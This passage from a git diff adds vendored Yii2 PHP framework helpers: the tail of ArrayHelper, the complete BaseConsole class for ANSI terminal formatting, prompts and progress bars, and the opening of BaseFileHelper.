array of objects. + * The `$from` and `$to` parameters specify the key names or property names to set up the map. + * Optionally, one can further group the map according to a grouping field `$group`. + * + * For example, + * + * ~~~ + * $array = [ + * ['id' => '123', 'name' => 'aaa', 'class' => 'x'], + * ['id' => '124', 'name' => 'bbb', 'class' => 'x'], + * ['id' => '345', 'name' => 'ccc', 'class' => 'y'], + * ); + * + * $result = ArrayHelper::map($array, 'id', 'name'); + * // the result is: + * // [ + * // '123' => 'aaa', + * // '124' => 'bbb', + * // '345' => 'ccc', + * // ] + * + * $result = ArrayHelper::map($array, 'id', 'name', 'class'); + * // the result is: + * // [ + * // 'x' => [ + * // '123' => 'aaa', + * // '124' => 'bbb', + * // ], + * // 'y' => [ + * // '345' => 'ccc', + * // ], + * // ] + * ~~~ + * + * @param array $array + * @param string|\Closure $from + * @param string|\Closure $to + * @param string|\Closure $group + * @return array + */ + public static function map($array, $from, $to, $group = null) + { + $result = []; + foreach ($array as $element) { + $key = static::getValue($element, $from); + $value = static::getValue($element, $to); + if ($group !== null) { + $result[static::getValue($element, $group)][$key] = $value; + } else { + $result[$key] = $value; + } + } + + return $result; + } + + /** + * Checks if the given array contains the specified key. + * This method enhances the `array_key_exists()` function by supporting case-insensitive + * key comparison. + * @param string $key the key to check + * @param array $array the array with keys to check + * @param boolean $caseSensitive whether the key comparison should be case-sensitive + * @return boolean whether the array contains the specified key + */ + public static function keyExists($key, $array, $caseSensitive = true) + { + if ($caseSensitive) { + return array_key_exists($key, $array); + } else { + foreach (array_keys($array) as $k) { + if (strcasecmp($key, $k) === 0) { + return true; + } + } + + return false; + } + } + + /** + * Sorts an array of objects or arrays (with the same structure) by one or several keys. + * @param array $array the array to be sorted. The array will be modified after calling this method. + * @param string|\Closure|array $key the key(s) to be sorted by. This refers to a key name of the sub-array + * elements, a property name of the objects, or an anonymous function returning the values for comparison + * purpose. The anonymous function signature should be: `function($item)`. + * To sort by multiple keys, provide an array of keys here. + * @param integer|array $direction the sorting direction. It can be either `SORT_ASC` or `SORT_DESC`. + * When sorting by multiple keys with different sorting directions, use an array of sorting directions. + * @param integer|array $sortFlag the PHP sort flag. Valid values include + * `SORT_REGULAR`, `SORT_NUMERIC`, `SORT_STRING`, `SORT_LOCALE_STRING`, `SORT_NATURAL` and `SORT_FLAG_CASE`. + * Please refer to [PHP manual](http://php.net/manual/en/function.sort.php) + * for more details. When sorting by multiple keys with different sort flags, use an array of sort flags. + * @throws InvalidParamException if the $direction or $sortFlag parameters do not have + * correct number of elements as that of $key. + */ + public static function multisort(&$array, $key, $direction = SORT_ASC, $sortFlag = SORT_REGULAR) + { + $keys = is_array($key) ? $key : [$key]; + if (empty($keys) || empty($array)) { + return; + } + $n = count($keys); + if (is_scalar($direction)) { + $direction = array_fill(0, $n, $direction); + } elseif (count($direction) !== $n) { + throw new InvalidParamException('The length of $direction parameter must be the same as that of $keys.'); + } + if (is_scalar($sortFlag)) { + $sortFlag = array_fill(0, $n, $sortFlag); + } elseif (count($sortFlag) !== $n) { + throw new InvalidParamException('The length of $sortFlag parameter must be the same as that of $keys.'); + } + $args = []; + foreach ($keys as $i => $key) { + $flag = $sortFlag[$i]; + $args[] = static::getColumn($array, $key); + $args[] = $direction[$i]; + $args[] = $flag; + } + $args[] = &$array; + call_user_func_array('array_multisort', $args); + } + + /** + * Encodes special characters in an array of strings into HTML entities. + * Both the array keys and values will be encoded. + * If a value is an array, this method will also encode it recursively. + * @param array $data data to be encoded + * @param boolean $valuesOnly whether to encode array values only. If false, + * both the array keys and array values will be encoded. + * @param string $charset the charset that the data is using. If not set, + * [[\yii\base\Application::charset]] will be used. + * @return array the encoded data + * @see http://www.php.net/manual/en/function.htmlspecialchars.php + */ + public static function htmlEncode($data, $valuesOnly = true, $charset = null) + { + if ($charset === null) { + $charset = Yii::$app->charset; + } + $d = []; + foreach ($data as $key => $value) { + if (!$valuesOnly && is_string($key)) { + $key = htmlspecialchars($key, ENT_QUOTES, $charset); + } + if (is_string($value)) { + $d[$key] = htmlspecialchars($value, ENT_QUOTES, $charset); + } elseif (is_array($value)) { + $d[$key] = static::htmlEncode($value, $charset); + } + } + + return $d; + } + + /** + * Decodes HTML entities into the corresponding characters in an array of strings. + * Both the array keys and values will be decoded. + * If a value is an array, this method will also decode it recursively. + * @param array $data data to be decoded + * @param boolean $valuesOnly whether to decode array values only. If false, + * both the array keys and array values will be decoded. + * @return array the decoded data + * @see http://www.php.net/manual/en/function.htmlspecialchars-decode.php + */ + public static function htmlDecode($data, $valuesOnly = true) + { + $d = []; + foreach ($data as $key => $value) { + if (!$valuesOnly && is_string($key)) { + $key = htmlspecialchars_decode($key, ENT_QUOTES); + } + if (is_string($value)) { + $d[$key] = htmlspecialchars_decode($value, ENT_QUOTES); + } elseif (is_array($value)) { + $d[$key] = static::htmlDecode($value); + } + } + + return $d; + } + + /** + * Returns a value indicating whether the given array is an associative array. + * + * An array is associative if all its keys are strings. If `$allStrings` is false, + * then an array will be treated as associative if at least one of its keys is a string. + * + * Note that an empty array will NOT be considered associative. + * + * @param array $array the array being checked + * @param boolean $allStrings whether the array keys must be all strings in order for + * the array to be treated as associative. + * @return boolean whether the array is associative + */ + public static function isAssociative($array, $allStrings = true) + { + if (!is_array($array) || empty($array)) { + return false; + } + + if ($allStrings) { + foreach ($array as $key => $value) { + if (!is_string($key)) { + return false; + } + } + return true; + } else { + foreach ($array as $key => $value) { + if (is_string($key)) { + return true; + } + } + return false; + } + } + + /** + * Returns a value indicating whether the given array is an indexed array. + * + * An array is indexed if all its keys are integers. If `$consecutive` is true, + * then the array keys must be a consecutive sequence starting from 0. + * + * Note that an empty array will be considered indexed. + * + * @param array $array the array being checked + * @param boolean $consecutive whether the array keys must be a consecutive sequence + * in order for the array to be treated as indexed. + * @return boolean whether the array is associative + */ + public static function isIndexed($array, $consecutive = false) + { + if (!is_array($array)) { + return false; + } + + if (empty($array)) { + return true; + } + + if ($consecutive) { + return array_keys($array) === range(0, count($array) - 1); + } else { + foreach ($array as $key => $value) { + if (!is_integer($key)) { + return false; + } + } + return true; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseConsole.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseConsole.php new file mode 100644 index 00000000..cefaf3dc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseConsole.php @@ -0,0 +1,948 @@ + + * @since 2.0 + */ +class BaseConsole +{ + const FG_BLACK = 30; + const FG_RED = 31; + const FG_GREEN = 32; + const FG_YELLOW = 33; + const FG_BLUE = 34; + const FG_PURPLE = 35; + const FG_CYAN = 36; + const FG_GREY = 37; + + const BG_BLACK = 40; + const BG_RED = 41; + const BG_GREEN = 42; + const BG_YELLOW = 43; + const BG_BLUE = 44; + const BG_PURPLE = 45; + const BG_CYAN = 46; + const BG_GREY = 47; + + const RESET = 0; + const NORMAL = 0; + const BOLD = 1; + const ITALIC = 3; + const UNDERLINE = 4; + const BLINK = 5; + const NEGATIVE = 7; + const CONCEALED = 8; + const CROSSED_OUT = 9; + const FRAMED = 51; + const ENCIRCLED = 52; + const OVERLINED = 53; + + + /** + * Moves the terminal cursor up by sending ANSI control code CUU to the terminal. + * If the cursor is already at the edge of the screen, this has no effect. + * @param integer $rows number of rows the cursor should be moved up + */ + public static function moveCursorUp($rows = 1) + { + echo "\033[" . (int) $rows . 'A'; + } + + /** + * Moves the terminal cursor down by sending ANSI control code CUD to the terminal. + * If the cursor is already at the edge of the screen, this has no effect. + * @param integer $rows number of rows the cursor should be moved down + */ + public static function moveCursorDown($rows = 1) + { + echo "\033[" . (int) $rows . 'B'; + } + + /** + * Moves the terminal cursor forward by sending ANSI control code CUF to the terminal. + * If the cursor is already at the edge of the screen, this has no effect. + * @param integer $steps number of steps the cursor should be moved forward + */ + public static function moveCursorForward($steps = 1) + { + echo "\033[" . (int) $steps . 'C'; + } + + /** + * Moves the terminal cursor backward by sending ANSI control code CUB to the terminal. + * If the cursor is already at the edge of the screen, this has no effect. + * @param integer $steps number of steps the cursor should be moved backward + */ + public static function moveCursorBackward($steps = 1) + { + echo "\033[" . (int) $steps . 'D'; + } + + /** + * Moves the terminal cursor to the beginning of the next line by sending ANSI control code CNL to the terminal. + * @param integer $lines number of lines the cursor should be moved down + */ + public static function moveCursorNextLine($lines = 1) + { + echo "\033[" . (int) $lines . 'E'; + } + + /** + * Moves the terminal cursor to the beginning of the previous line by sending ANSI control code CPL to the terminal. + * @param integer $lines number of lines the cursor should be moved up + */ + public static function moveCursorPrevLine($lines = 1) + { + echo "\033[" . (int) $lines . 'F'; + } + + /** + * Moves the cursor to an absolute position given as column and row by sending ANSI control code CUP or CHA to the terminal. + * @param integer $column 1-based column number, 1 is the left edge of the screen. + * @param integer|null $row 1-based row number, 1 is the top edge of the screen. if not set, will move cursor only in current line. + */ + public static function moveCursorTo($column, $row = null) + { + if ($row === null) { + echo "\033[" . (int) $column . 'G'; + } else { + echo "\033[" . (int) $row . ';' . (int) $column . 'H'; + } + } + + /** + * Scrolls whole page up by sending ANSI control code SU to the terminal. + * New lines are added at the bottom. This is not supported by ANSI.SYS used in windows. + * @param integer $lines number of lines to scroll up + */ + public static function scrollUp($lines = 1) + { + echo "\033[" . (int) $lines . "S"; + } + + /** + * Scrolls whole page down by sending ANSI control code SD to the terminal. + * New lines are added at the top. This is not supported by ANSI.SYS used in windows. + * @param integer $lines number of lines to scroll down + */ + public static function scrollDown($lines = 1) + { + echo "\033[" . (int) $lines . "T"; + } + + /** + * Saves the current cursor position by sending ANSI control code SCP to the terminal. + * Position can then be restored with [[restoreCursorPosition()]]. + */ + public static function saveCursorPosition() + { + echo "\033[s"; + } + + /** + * Restores the cursor position saved with [[saveCursorPosition()]] by sending ANSI control code RCP to the terminal. + */ + public static function restoreCursorPosition() + { + echo "\033[u"; + } + + /** + * Hides the cursor by sending ANSI DECTCEM code ?25l to the terminal. + * Use [[showCursor()]] to bring it back. + * Do not forget to show cursor when your application exits. Cursor might stay hidden in terminal after exit. + */ + public static function hideCursor() + { + echo "\033[?25l"; + } + + /** + * Will show a cursor again when it has been hidden by [[hideCursor()]] by sending ANSI DECTCEM code ?25h to the terminal. + */ + public static function showCursor() + { + echo "\033[?25h"; + } + + /** + * Clears entire screen content by sending ANSI control code ED with argument 2 to the terminal. + * Cursor position will not be changed. + * **Note:** ANSI.SYS implementation used in windows will reset cursor position to upper left corner of the screen. + */ + public static function clearScreen() + { + echo "\033[2J"; + } + + /** + * Clears text from cursor to the beginning of the screen by sending ANSI control code ED with argument 1 to the terminal. + * Cursor position will not be changed. + */ + public static function clearScreenBeforeCursor() + { + echo "\033[1J"; + } + + /** + * Clears text from cursor to the end of the screen by sending ANSI control code ED with argument 0 to the terminal. + * Cursor position will not be changed. + */ + public static function clearScreenAfterCursor() + { + echo "\033[0J"; + } + + /** + * Clears the line, the cursor is currently on by sending ANSI control code EL with argument 2 to the terminal. + * Cursor position will not be changed. + */ + public static function clearLine() + { + echo "\033[2K"; + } + + /** + * Clears text from cursor position to the beginning of the line by sending ANSI control code EL with argument 1 to the terminal. + * Cursor position will not be changed. + */ + public static function clearLineBeforeCursor() + { + echo "\033[1K"; + } + + /** + * Clears text from cursor position to the end of the line by sending ANSI control code EL with argument 0 to the terminal. + * Cursor position will not be changed. + */ + public static function clearLineAfterCursor() + { + echo "\033[0K"; + } + + /** + * Returns the ANSI format code. + * + * @param array $format An array containing formatting values. + * You can pass any of the FG_*, BG_* and TEXT_* constants + * and also [[xtermFgColor]] and [[xtermBgColor]] to specify a format. + * @return string The ANSI format code according to the given formatting constants. + */ + public static function ansiFormatCode($format) + { + return "\033[" . implode(';', $format) . 'm'; + } + + /** + * Echoes an ANSI format code that affects the formatting of any text that is printed afterwards. + * + * @param array $format An array containing formatting values. + * You can pass any of the FG_*, BG_* and TEXT_* constants + * and also [[xtermFgColor]] and [[xtermBgColor]] to specify a format. + * @see ansiFormatCode() + * @see endAnsiFormat() + */ + public static function beginAnsiFormat($format) + { + echo "\033[" . implode(';', $format) . 'm'; + } + + /** + * Resets any ANSI format set by previous method [[beginAnsiFormat()]] + * Any output after this will have default text format. + * This is equal to calling + * + * ```php + * echo Console::ansiFormatCode([Console::RESET]) + * ``` + */ + public static function endAnsiFormat() + { + echo "\033[0m"; + } + + /** + * Will return a string formatted with the given ANSI style + * + * @param string $string the string to be formatted + * @param array $format An array containing formatting values. + * You can pass any of the FG_*, BG_* and TEXT_* constants + * and also [[xtermFgColor]] and [[xtermBgColor]] to specify a format. + * @return string + */ + public static function ansiFormat($string, $format = []) + { + $code = implode(';', $format); + + return "\033[0m" . ($code !== '' ? "\033[" . $code . "m" : '') . $string . "\033[0m"; + } + + /** + * Returns the ansi format code for xterm foreground color. + * You can pass the return value of this to one of the formatting methods: + * [[ansiFormat]], [[ansiFormatCode]], [[beginAnsiFormat]] + * + * @param integer $colorCode xterm color code + * @return string + * @see http://en.wikipedia.org/wiki/Talk:ANSI_escape_code#xterm-256colors + */ + public static function xtermFgColor($colorCode) + { + return '38;5;' . $colorCode; + } + + /** + * Returns the ansi format code for xterm background color. + * You can pass the return value of this to one of the formatting methods: + * [[ansiFormat]], [[ansiFormatCode]], [[beginAnsiFormat]] + * + * @param integer $colorCode xterm color code + * @return string + * @see http://en.wikipedia.org/wiki/Talk:ANSI_escape_code#xterm-256colors + */ + public static function xtermBgColor($colorCode) + { + return '48;5;' . $colorCode; + } + + /** + * Strips ANSI control codes from a string + * + * @param string $string String to strip + * @return string + */ + public static function stripAnsiFormat($string) + { + return preg_replace('/\033\[[\d;?]*\w/', '', $string); + } + + /** + * Returns the length of the string without ANSI color codes. + * @param string $string the string to measure + * @return int the length of the string not counting ANSI format characters + */ + public static function ansiStrlen($string) { + return mb_strlen(static::stripAnsiFormat($string)); + } + + /** + * Converts an ANSI formatted string to HTML + * + * Note: xTerm 256 bit colors are currently not supported. + * + * @param string $string the string to convert. + * @param array $styleMap an optional mapping of ANSI control codes such as + * [[FG_COLOR]] or [[BOLD]] to a set of css style definitions. + * The CSS style definitions are represented as an array where the array keys correspond + * to the css style attribute names and the values are the css values. + * values may be arrays that will be merged and imploded with `' '` when rendered. + * @return string HTML representation of the ANSI formatted string + */ + public static function ansiToHtml($string, $styleMap = []) + { + $styleMap = [ + // http://www.w3.org/TR/CSS2/syndata.html#value-def-color + self::FG_BLACK => ['color' => 'black'], + self::FG_BLUE => ['color' => 'blue'], + self::FG_CYAN => ['color' => 'aqua'], + self::FG_GREEN => ['color' => 'lime'], + self::FG_GREY => ['color' => 'silver'], + // http://meyerweb.com/eric/thoughts/2014/06/19/rebeccapurple/ + // http://dev.w3.org/csswg/css-color/#valuedef-rebeccapurple + self::FG_PURPLE => ['color' => 'rebeccapurple'], + self::FG_RED => ['color' => 'red'], + self::FG_YELLOW => ['color' => 'yellow'], + self::BG_BLACK => ['background-color' => 'black'], + self::BG_BLUE => ['background-color' => 'blue'], + self::BG_CYAN => ['background-color' => 'aqua'], + self::BG_GREEN => ['background-color' => 'lime'], + self::BG_GREY => ['background-color' => 'silver'], + self::BG_PURPLE => ['background-color' => 'rebeccapurple'], + self::BG_RED => ['background-color' => 'red'], + self::BG_YELLOW => ['background-color' => 'yellow'], + self::BOLD => ['font-weight' => 'bold'], + self::ITALIC => ['font-style' => 'italic'], + self::UNDERLINE => ['text-decoration' => ['underline']], + self::OVERLINED => ['text-decoration' => ['overline']], + self::CROSSED_OUT => ['text-decoration' => ['line-through']], + self::BLINK => ['text-decoration' => ['blink']], + self::CONCEALED => ['visibility' => 'hidden'], + ] + $styleMap; + + $tags = 0; + $result = preg_replace_callback( + '/\033\[([\d;]+)m/', + function ($ansi) use (&$tags, $styleMap) { + $style = []; + $reset = false; + $negative = false; + foreach (explode(';', $ansi[1]) as $controlCode) { + if ($controlCode == 0) { + $style = []; + $reset = true; + } elseif ($controlCode == self::NEGATIVE) { + $negative = true; + } elseif (isset($styleMap[$controlCode])) { + $style[] = $styleMap[$controlCode]; + } + } + + $return = ''; + while($reset && $tags > 0) { + $return .= ''; + $tags--; + } + if (empty($style)) { + return $return; + } + + $currentStyle = []; + foreach ($style as $content) { + $currentStyle = ArrayHelper::merge($currentStyle, $content); + } + + // if negative is set, invert background and foreground + if ($negative) { + if (isset($currentStyle['color'])) { + $fgColor = $currentStyle['color']; + unset($currentStyle['color']); + } + if (isset($currentStyle['background-color'])) { + $bgColor = $currentStyle['background-color']; + unset($currentStyle['background-color']); + } + if (isset($fgColor)) { + $currentStyle['background-color'] = $fgColor; + } + if (isset($bgColor)) { + $currentStyle['color'] = $bgColor; + } + } + + $styleString = ''; + foreach($currentStyle as $name => $value) { + if (is_array($value)) { + $value = implode(' ', $value); + } + $styleString .= "$name: $value;"; + } + $tags++; + return "$return"; + }, + $string + ); + while($tags > 0) { + $result .= ''; + $tags--; + } + return $result; + } + + /** + * Converts Markdown to be better readable in console environments by applying some ANSI format + * @param string $markdown + * @return string + */ + public static function markdownToAnsi($markdown) + { + $parser = new Markdown(); + return $parser->parse($markdown); + } + + /** + * Converts a string to ansi formatted by replacing patterns like %y (for yellow) with ansi control codes + * + * Uses almost the same syntax as https://github.com/pear/Console_Color2/blob/master/Console/Color2.php + * The conversion table is: ('bold' meaning 'light' on some + * terminals). It's almost the same conversion table irssi uses. + *
            +     *                  text      text            background
            +     *      ------------------------------------------------
            +     *      %k %K %0    black     dark grey       black
            +     *      %r %R %1    red       bold red        red
            +     *      %g %G %2    green     bold green      green
            +     *      %y %Y %3    yellow    bold yellow     yellow
            +     *      %b %B %4    blue      bold blue       blue
            +     *      %m %M %5    magenta   bold magenta    magenta
            +     *      %p %P       magenta (think: purple)
            +     *      %c %C %6    cyan      bold cyan       cyan
            +     *      %w %W %7    white     bold white      white
            +     *
            +     *      %F     Blinking, Flashing
            +     *      %U     Underline
            +     *      %8     Reverse
            +     *      %_,%9  Bold
            +     *
            +     *      %n     Resets the color
            +     *      %%     A single %
            +     * 
            + * First param is the string to convert, second is an optional flag if + * colors should be used. It defaults to true, if set to false, the + * color codes will just be removed (And %% will be transformed into %) + * + * @param string $string String to convert + * @param boolean $colored Should the string be colored? + * @return string + */ + public static function renderColoredString($string, $colored = true) + { + // TODO rework/refactor according to https://github.com/yiisoft/yii2/issues/746 + static $conversions = [ + '%y' => [self::FG_YELLOW], + '%g' => [self::FG_GREEN], + '%b' => [self::FG_BLUE], + '%r' => [self::FG_RED], + '%p' => [self::FG_PURPLE], + '%m' => [self::FG_PURPLE], + '%c' => [self::FG_CYAN], + '%w' => [self::FG_GREY], + '%k' => [self::FG_BLACK], + '%n' => [0], // reset + '%Y' => [self::FG_YELLOW, self::BOLD], + '%G' => [self::FG_GREEN, self::BOLD], + '%B' => [self::FG_BLUE, self::BOLD], + '%R' => [self::FG_RED, self::BOLD], + '%P' => [self::FG_PURPLE, self::BOLD], + '%M' => [self::FG_PURPLE, self::BOLD], + '%C' => [self::FG_CYAN, self::BOLD], + '%W' => [self::FG_GREY, self::BOLD], + '%K' => [self::FG_BLACK, self::BOLD], + '%N' => [0, self::BOLD], + '%3' => [self::BG_YELLOW], + '%2' => [self::BG_GREEN], + '%4' => [self::BG_BLUE], + '%1' => [self::BG_RED], + '%5' => [self::BG_PURPLE], + '%6' => [self::BG_PURPLE], + '%7' => [self::BG_CYAN], + '%0' => [self::BG_GREY], + '%F' => [self::BLINK], + '%U' => [self::UNDERLINE], + '%8' => [self::NEGATIVE], + '%9' => [self::BOLD], + '%_' => [self::BOLD], + ]; + + if ($colored) { + $string = str_replace('%%', '% ', $string); + foreach ($conversions as $key => $value) { + $string = str_replace( + $key, + static::ansiFormatCode($value), + $string + ); + } + $string = str_replace('% ', '%', $string); + } else { + $string = preg_replace('/%((%)|.)/', '$2', $string); + } + + return $string; + } + + /** + * Escapes % so they don't get interpreted as color codes when + * the string is parsed by [[renderColoredString]] + * + * @param string $string String to escape + * + * @access public + * @return string + */ + public static function escape($string) + { + // TODO rework/refactor according to https://github.com/yiisoft/yii2/issues/746 + return str_replace('%', '%%', $string); + } + + /** + * Returns true if the stream supports colorization. ANSI colors are disabled if not supported by the stream. + * + * - windows without ansicon + * - not tty consoles + * + * @param mixed $stream + * @return boolean true if the stream supports ANSI colors, otherwise false. + */ + public static function streamSupportsAnsiColors($stream) + { + return DIRECTORY_SEPARATOR == '\\' + ? getenv('ANSICON') !== false || getenv('ConEmuANSI') === 'ON' + : function_exists('posix_isatty') && @posix_isatty($stream); + } + + /** + * Returns true if the console is running on windows + * @return bool + */ + public static function isRunningOnWindows() + { + return DIRECTORY_SEPARATOR == '\\'; + } + + /** + * Usage: list($width, $height) = ConsoleHelper::getScreenSize(); + * + * @param boolean $refresh whether to force checking and not re-use cached size value. + * This is useful to detect changing window size while the application is running but may + * not get up to date values on every terminal. + * @return array|boolean An array of ($width, $height) or false when it was not able to determine size. + */ + public static function getScreenSize($refresh = false) + { + static $size; + if ($size !== null && !$refresh) { + return $size; + } + + if (static::isRunningOnWindows()) { + $output = []; + exec('mode con', $output); + if (isset($output) && strpos($output[1], 'CON') !== false) { + return $size = [(int) preg_replace('~[^0-9]~', '', $output[3]), (int) preg_replace('~[^0-9]~', '', $output[4])]; + } + } else { + // try stty if available + $stty = []; + if (exec('stty -a 2>&1', $stty) && preg_match('/rows\s+(\d+);\s*columns\s+(\d+);/mi', implode(' ', $stty), $matches)) { + return $size = [$matches[2], $matches[1]]; + } + + // fallback to tput, which may not be updated on terminal resize + if (($width = (int) exec('tput cols 2>&1')) > 0 && ($height = (int) exec('tput lines 2>&1')) > 0) { + return $size = [$width, $height]; + } + + // fallback to ENV variables, which may not be updated on terminal resize + if (($width = (int) getenv('COLUMNS')) > 0 && ($height = (int) getenv('LINES')) > 0) { + return $size = [$width, $height]; + } + } + + return $size = false; + } + + /** + * Gets input from STDIN and returns a string right-trimmed for EOLs. + * + * @param boolean $raw If set to true, returns the raw string without trimming + * @return string the string read from stdin + */ + public static function stdin($raw = false) + { + return $raw ? fgets(\STDIN) : rtrim(fgets(\STDIN), PHP_EOL); + } + + /** + * Prints a string to STDOUT. + * + * @param string $string the string to print + * @return int|boolean Number of bytes printed or false on error + */ + public static function stdout($string) + { + return fwrite(\STDOUT, $string); + } + + /** + * Prints a string to STDERR. + * + * @param string $string the string to print + * @return int|boolean Number of bytes printed or false on error + */ + public static function stderr($string) + { + return fwrite(\STDERR, $string); + } + + /** + * Asks the user for input. Ends when the user types a carriage return (PHP_EOL). Optionally, It also provides a + * prompt. + * + * @param string $prompt the prompt to display before waiting for input (optional) + * @return string the user's input + */ + public static function input($prompt = null) + { + if (isset($prompt)) { + static::stdout($prompt); + } + + return static::stdin(); + } + + /** + * Prints text to STDOUT appended with a carriage return (PHP_EOL). + * + * @param string $string the text to print + * @return integer|boolean number of bytes printed or false on error. + */ + public static function output($string = null) + { + return static::stdout($string . PHP_EOL); + } + + /** + * Prints text to STDERR appended with a carriage return (PHP_EOL). + * + * @param string $string the text to print + * @return integer|boolean number of bytes printed or false on error. + */ + public static function error($string = null) + { + return static::stderr($string . PHP_EOL); + } + + /** + * Prompts the user for input and validates it + * + * @param string $text prompt string + * @param array $options the options to validate the input: + * + * - `required`: whether it is required or not + * - `default`: default value if no input is inserted by the user + * - `pattern`: regular expression pattern to validate user input + * - `validator`: a callable function to validate input. The function must accept two parameters: + * - `input`: the user input to validate + * - `error`: the error value passed by reference if validation failed. + * + * @return string the user input + */ + public static function prompt($text, $options = []) + { + $options = ArrayHelper::merge( + [ + 'required' => false, + 'default' => null, + 'pattern' => null, + 'validator' => null, + 'error' => 'Invalid input.', + ], + $options + ); + $error = null; + + top: + $input = $options['default'] + ? static::input("$text [" . $options['default'] . '] ') + : static::input("$text "); + + if (!strlen($input)) { + if (isset($options['default'])) { + $input = $options['default']; + } elseif ($options['required']) { + static::output($options['error']); + goto top; + } + } elseif ($options['pattern'] && !preg_match($options['pattern'], $input)) { + static::output($options['error']); + goto top; + } elseif ($options['validator'] && + !call_user_func_array($options['validator'], [$input, &$error]) + ) { + static::output(isset($error) ? $error : $options['error']); + goto top; + } + + return $input; + } + + /** + * Asks user to confirm by typing y or n. + * + * @param string $message to echo out before waiting for user input + * @param boolean $default this value is returned if no selection is made. + * @return boolean whether user confirmed + */ + public static function confirm($message, $default = false) + { + echo $message . ' (yes|no) [' . ($default ? 'yes' : 'no') . ']:'; + $input = trim(static::stdin()); + + return empty($input) ? $default : !strncasecmp($input, 'y', 1); + } + + /** + * Gives the user an option to choose from. Giving '?' as an input will show + * a list of options to choose from and their explanations. + * + * @param string $prompt the prompt message + * @param array $options Key-value array of options to choose from + * + * @return string An option character the user chose + */ + public static function select($prompt, $options = []) + { + top: + static::stdout("$prompt [" . implode(',', array_keys($options)) . ",?]: "); + $input = static::stdin(); + if ($input === '?') { + foreach ($options as $key => $value) { + static::output(" $key - $value"); + } + static::output(" ? - Show help"); + goto top; + } elseif (!array_key_exists($input, $options)) { + goto top; + } + + return $input; + } + + private static $_progressStart; + private static $_progressWidth; + private static $_progressPrefix; + + /** + * Starts display of a progress bar on screen. + * + * This bar will be updated by [[updateProgress()]] and my be ended by [[endProgress()]]. + * + * The following example shows a simple usage of a progress bar: + * + * ```php + * Console::startProgress(0, 1000); + * for ($n = 1; $n <= 1000; $n++) { + * usleep(1000); + * Console::updateProgress($n, 1000); + * } + * Console::endProgress(); + * ``` + * + * Git clone like progress (showing only status information): + * ```php + * Console::startProgress(0, 1000, 'Counting objects: ', false); + * for ($n = 1; $n <= 1000; $n++) { + * usleep(1000); + * Console::updateProgress($n, 1000); + * } + * Console::endProgress("done." . PHP_EOL); + * ``` + * + * @param integer $done the number of items that are completed. + * @param integer $total the total value of items that are to be done. + * @param string $prefix an optional string to display before the progress bar. + * Default to empty string which results in no prefix to be displayed. + * @param integer|boolean $width optional width of the progressbar. This can be an integer representing + * the number of characters to display for the progress bar or a float between 0 and 1 representing the + * percentage of screen with the progress bar may take. It can also be set to false to disable the + * bar and only show progress information like percent, number of items and ETA. + * If not set, the bar will be as wide as the screen. Screen size will be detected using [[getScreenSize()]]. + * @see startProgress + * @see updateProgress + * @see endProgress + */ + public static function startProgress($done, $total, $prefix = '', $width = null) + { + self::$_progressStart = time(); + self::$_progressWidth = $width; + self::$_progressPrefix = $prefix; + + static::updateProgress($done, $total); + } + + /** + * Updates a progress bar that has been started by [[startProgress()]]. + * + * @param integer $done the number of items that are completed. + * @param integer $total the total value of items that are to be done. + * @param string $prefix an optional string to display before the progress bar. + * Defaults to null meaning the prefix specified by [[startProgress()]] will be used. + * If prefix is specified it will update the prefix that will be used by later calls. + * @see startProgress + * @see endProgress + */ + public static function updateProgress($done, $total, $prefix = null) + { + $width = self::$_progressWidth; + if ($width === false) { + $width = 0; + } else { + $screenSize = static::getScreenSize(true); + if ($screenSize === false && $width < 1) { + $width = 0; + } elseif ($width === null) { + $width = $screenSize[0]; + } elseif ($width > 0 && $width < 1) { + $width = floor($screenSize[0] * $width); + } + } + if ($prefix === null) { + $prefix = self::$_progressPrefix; + } else { + self::$_progressPrefix = $prefix; + } + $width -= static::ansiStrlen($prefix); + + $percent = ($total == 0) ? 1 : $done / $total; + $info = sprintf("%d%% (%d/%d)", $percent * 100, $done, $total); + + if ($done > $total || $done == 0) { + $info .= ' ETA: n/a'; + } elseif ($done < $total) { + $rate = (time() - self::$_progressStart) / $done; + $info .= sprintf(' ETA: %d sec.', $rate * ($total - $done)); + } + + $width -= 3 + static::ansiStrlen($info); + // skipping progress bar on very small display or if forced to skip + if ($width < 5) { + static::stdout("\r$prefix$info "); + } else { + if ($percent < 0) { + $percent = 0; + } elseif ($percent > 1) { + $percent = 1; + } + $bar = floor($percent * $width); + $status = str_repeat("=", $bar); + if ($bar < $width) { + $status .= ">"; + $status .= str_repeat(" ", $width - $bar - 1); + } + static::stdout("\r$prefix" . "[$status] $info"); + } + flush(); + } + + /** + * Ends a progress bar that has been started by [[startProgress()]]. + * + * @param string|boolean $remove This can be `false` to leave the progress bar on screen and just print a newline. + * If set to `true`, the line of the progress bar will be cleared. This may also be a string to be displayed instead + * of the progress bar. + * @param boolean $keepPrefix whether to keep the prefix that has been specified for the progressbar when progressbar + * gets removed. Defaults to true. + * @see startProgress + * @see updateProgress + */ + public static function endProgress($remove = false, $keepPrefix = true) + { + if ($remove === false) { + static::stdout(PHP_EOL); + } else { + if (static::streamSupportsAnsiColors(STDOUT)) { + static::clearLine(); + } + static::stdout("\r" . ($keepPrefix ? self::$_progressPrefix : '') . (is_string($remove) ? $remove : '')); + } + flush(); + + self::$_progressStart = null; + self::$_progressWidth = null; + self::$_progressPrefix = ''; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFileHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFileHelper.php new file mode 100644 index 00000000..b9d2dded --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFileHelper.php @@ -0,0 +1,683 @@ + + * @author Alex Makarov + * @since 2.0 + */ +class BaseFileHelper +{ + const PATTERN_NODIR = 1; + const PATTERN_ENDSWITH = 4; + const PATTERN_MUSTBEDIR = 8; + const PATTERN_NEGATIVE = 16; + const PATTERN_CASE_INSENSITIVE = 32; + + /** + * @var string the path (or alias) of a PHP file containing MIME type information. + */ + public static $mimeMagicFile = '@yii/helpers/mimeTypes.php'; + + /** + * Normalizes a file/directory path. + * The normalization does the following work: + * + * - Convert all directory separators into `DIRECTORY_SEPARATOR` (e.g. "\a/b\c" becomes "/a/b/c") + * - Remove trailing directory separators (e.g. "/a/b/c/" becomes "/a/b/c") + * - Turn multiple consecutive slashes into a single one (e.g. "/a///b/c" becomes "/a/b/c") + * - Remove ".." and 